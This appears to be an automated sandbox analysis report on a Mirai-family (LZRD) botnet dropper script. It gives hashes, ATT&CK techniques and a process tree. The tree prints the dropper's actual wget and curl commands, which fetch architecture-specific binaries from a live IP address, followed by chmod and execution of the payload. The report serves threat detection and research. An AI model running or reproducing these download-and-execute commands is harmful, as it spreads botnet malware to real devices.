mirai | baef81a5b8a6c9a601cd76ff538bd9cc68de6e150341d3edb87f4bd3b0396378

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
22-01-2025 05:17

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General

Target

2BV7L_ohshit.sh
Size

2KB
MD5

3b861f9434783f2eba1108c690dcaa47
SHA1

2bbb9c3d22f6206bd0f4185eab7ee1cba7b4c215
SHA256

baef81a5b8a6c9a601cd76ff538bd9cc68de6e150341d3edb87f4bd3b0396378
SHA512

b41c8dfa5f24fd6c9f1ce1ddcf51b6eb7e80a12293f7ef98e79a323aa8e4defc833d3a1d425e50f68cb6b9ad3ebe8fb2a4f021e4be651bb746e9fa3ffc105fdb

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1578	chmod
1617	chmod
1522	chmod
1546	chmod
1562	chmod
1642	chmod
1650	chmod
1506	chmod
1530	chmod
1570	chmod
1514	chmod
1538	chmod
1554	chmod
1586	chmod
1602	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1507	WTF
/tmp/WTF	1515	WTF
/tmp/WTF	1523	WTF
/tmp/WTF	1531	WTF
/tmp/WTF	1539	WTF
/tmp/WTF	1547	WTF
/tmp/WTF	1555	WTF
/tmp/WTF	1563	WTF
/tmp/WTF	1571	WTF
/tmp/WTF	1579	WTF
/tmp/WTF	1587	WTF
/tmp/WTF	1603	WTF
/tmp/WTF	1618	WTF
/tmp/WTF	1643	WTF
/tmp/WTF	1651	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/456/cmdline	WTF
File opened for reading	/proc/1144/cmdline	WTF
File opened for reading	/proc/939/cmdline	WTF
File opened for reading	/proc/1580/cmdline	WTF
File opened for reading	/proc/1072/cmdline	WTF
File opened for reading	/proc/1134/cmdline	WTF
File opened for reading	/proc/408/cmdline	WTF
File opened for reading	/proc/1117/cmdline	WTF
File opened for reading	/proc/1580/cmdline	WTF
File opened for reading	/proc/1604/cmdline	WTF
File opened for reading	/proc/1550/cmdline	WTF
File opened for reading	/proc/1582/cmdline	WTF
File opened for reading	/proc/1135/cmdline	WTF
File opened for reading	/proc/1606/cmdline	WTF
File opened for reading	/proc/1183/cmdline	WTF
File opened for reading	/proc/1095/cmdline	WTF
File opened for reading	/proc/640/cmdline	WTF
File opened for reading	/proc/1138/cmdline	WTF
File opened for reading	/proc/1621/cmdline	WTF
File opened for reading	/proc/1652/cmdline	WTF
File opened for reading	/proc/695/cmdline	WTF
File opened for reading	/proc/1229/cmdline	WTF
File opened for reading	/proc/1241/cmdline	WTF
File opened for reading	/proc/1371/cmdline	WTF
File opened for reading	/proc/664/cmdline	WTF
File opened for reading	/proc/1152/cmdline	WTF
File opened for reading	/proc/939/cmdline	WTF
File opened for reading	/proc/1558/cmdline	WTF
File opened for reading	/proc/1654/cmdline	WTF
File opened for reading	/proc/455/cmdline	WTF
File opened for reading	/proc/1158/cmdline	WTF
File opened for reading	/proc/457/cmdline	WTF
File opened for reading	/proc/1085/cmdline	WTF
File opened for reading	/proc/1524/cmdline	WTF
File opened for reading	/proc/1534/cmdline	WTF
File opened for reading	/proc/1646/cmdline	WTF
File opened for reading	/proc/405/cmdline	WTF
File opened for reading	/proc/464/cmdline	WTF
File opened for reading	/proc/1121/cmdline	WTF
File opened for reading	/proc/1300/cmdline	WTF
File opened for reading	/proc/946/cmdline	WTF
File opened for reading	/proc/1524/cmdline	WTF
File opened for reading	/proc/719/cmdline	WTF
File opened for reading	/proc/425/cmdline	WTF
File opened for reading	/proc/954/cmdline	WTF
File opened for reading	/proc/1156/cmdline	WTF
File opened for reading	/proc/1292/cmdline	WTF
File opened for reading	/proc/1300/cmdline	WTF
File opened for reading	/proc/455/cmdline	WTF
File opened for reading	/proc/408/cmdline	WTF
File opened for reading	/proc/1619/cmdline	WTF
File opened for reading	/proc/1300/cmdline	WTF
File opened for reading	/proc/1300/cmdline	WTF
File opened for reading	/proc/1526/cmdline	WTF
File opened for reading	/proc/1652/cmdline	WTF
File opened for reading	/proc/407/cmdline	WTF
File opened for reading	/proc/1305/cmdline	WTF
File opened for reading	/proc/405/cmdline	WTF
File opened for reading	/proc/1501/cmdline	WTF
File opened for reading	/proc/1125/cmdline	WTF
File opened for reading	/proc/1158/cmdline	WTF
File opened for reading	/proc/1085/cmdline	WTF
File opened for reading	/proc/1588/cmdline	WTF
File opened for reading	/proc/1055/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1511	wget
1512	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/WTF	2BV7L_ohshit.sh
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.mpsl	curl

/tmp/2BV7L_ohshit.sh
/tmp/2BV7L_ohshit.sh
1⤵
- Writes file to tmp directory
PID:1499
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1505
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.x86 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1507
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1511
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.mips boatnet.x86 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1515
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1519
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.mips boatnet.x86 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1523
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.i468
  2⤵
  PID:1527
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1531
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.i686
  2⤵
  PID:1535
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1539
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.x86_64
  2⤵
  PID:1543
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1547
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1551
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1552
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1555
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1559
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1560
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1563
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1567
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1571
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1575
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1579
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1583
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1584
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1587
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1591
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1592
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1603
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1607
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1612
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-fSsbwW systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1617
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1618
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1622
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1634
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1642
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1643
- /usr/bin/wget
  wget http://154.213.187.188/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1647
- /usr/bin/curl
  curl -O http://154.213.187.188/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1648
- /bin/chmod
  chmod +x 2BV7L_ohshit.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-xbMkPD netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-i5q9en WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1650
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1651

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
fd53286f338f9688cf76d727d3bd3b76

SHA1
d90490c25fe5e5601e642f38f061b665791cdd74

SHA256
35eefca1c603f3511b87a60cf7d26701ce03ec35b80b69192e860be472fb0c23

SHA512
dcab4309729aa66a4e5d4a53a3a7234ec254cbd842406b0d76f3e381e74f37df89a63df0f838a7530ffdce4fd52b7256f97629fdde6d77eec9eb5b328c4d98df

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